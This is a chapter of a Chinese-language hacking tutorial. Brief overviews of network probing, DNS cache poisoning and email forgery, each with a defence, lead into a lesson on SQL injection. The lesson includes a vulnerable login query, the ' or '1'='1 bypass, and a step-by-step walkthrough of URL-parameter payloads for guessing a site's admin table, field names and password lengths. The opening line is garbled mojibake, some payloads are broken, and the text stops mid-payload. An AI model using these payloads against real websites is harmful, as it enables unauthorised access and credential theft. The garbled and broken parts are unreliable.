30天打造专业红客-第16章
按键盘上方向键 ← 或 → 可快速上下翻页,按键盘上的 Enter 键可回到本书目录页,按键盘上方向键 ↑ 可回到本页顶部!
————未阅读完?加入书签已便下次继续阅读!
衿鳎诳椭恍枋凳┮淮斡蜃徊僮骶湍艿玫侥闼兄骰拿埔约澳诓縄P地址。
防御:在防火墙处过滤掉域转换请求。
Finger服务
概览:黑客使用finger命令来刺探一台finger服务器以获取关于该系统的用户的信息。
防御:关闭finger服务并记录尝试连接该服务的对方IP地址,或者在防火墙上进行过滤。
LDAP服务
概览:黑客使用LDAP协议窥探网络内部的系统和它们的用户的信息。
防御:对于刺探内部网络的LDAP进行阻断并记录,如果在公共机器上提供LDAP服务,那么应把LDAP服务器放入DMZ。
4、假消息攻击
用于攻击目标配置不正确的消息,主要包括:DNS高速缓存污染、伪造电子邮件。
DNS高速缓存污染
概览:由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证,这就使得黑客可以将不正确的信息掺进来并把用户引向黑客自己的主机。
防御:在防火墙上过滤入站的DNS更新,外部DNS服务器不应能更改你的内部服务器对内部机器的认识。
伪造电子邮件
概览:由于SMTP并不对邮件的发送者的身份进行鉴定,因此黑客可以对你的内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附带上可安装的特洛伊木马程序,或者是一个引向恶意网站的连接。
防御:使用PGP等安全工具并安装电子邮件证书。
此外有篇文章;在这值得所有人看看:91one/dvbbs/dispbbs。asp?boardid=17&id=699
『第19天』SQL注入攻击
在第9天到第11天我们介绍了SQL这个概念,后来因为大家反映没用(其实是很有用的,基础不好怎么晋级呢?)
今天我们就来好好说说利用SQL进行攻击
什么是SQL注入式攻击?
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。常见的SQL注入式攻击过程类如:
⑴ 某个ASP Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。
⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP应用构造查询的一个例子:
System。Text。StringBuilder query = new System。Text。StringBuilder(
〃SELECT * from Users WHERE login = '〃)
。Append(txtLogin。Text)。Append(〃' AND password='〃)
。Append(txtPassword。Text)。Append(〃'〃);
⑶ 攻击者在用户名字和密码输入框中输入〃'或'1'='1〃之类的内容。
⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。
⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。
⑹ 由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。
如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表。
(对于这里有些名词如果你不太了解,请你翻阅以前的教程)
今天我们来说个很简单的用新闻页面的〃〃&request 漏洞做的注入
在地址栏输入:
and 1=1
查看漏洞是否存在;如果存在就正常返回该页;如果没有;则显示错误,继续假设这个站的数据库存在一个admin表
在地址栏:
and 0(select count(*) from admin)
返回页正常;假设成立了。
下面来猜猜看一下管理员表里面有几个管理员ID:
and 10)
猜解错误!不存在 username 这个字段。只要一直改变括号里面的username这个字段;下面给大家几个常用的
user;users;member;members;userlist;memberlist;userinfo;admin;manager;用户;yonghu
用户名称字段猜解完成之后继续猜解密码字段
and 1=(select count(*) from admin where len(password)》0)
password 字段存在!因为密码字段一般都是这个拉;如果不是就试试pass如果还不是就自己想想吧
我们已经知道了管理员表里面有3个字段 id;user;password。
id 编号
user 用户名
password 密码
下面继续的就是管理员用户名和密码的猜解了。一个一个来;有点麻烦;最好找个猜解机来
先猜出长度!
and 1=(select count(*) from admin where len(user)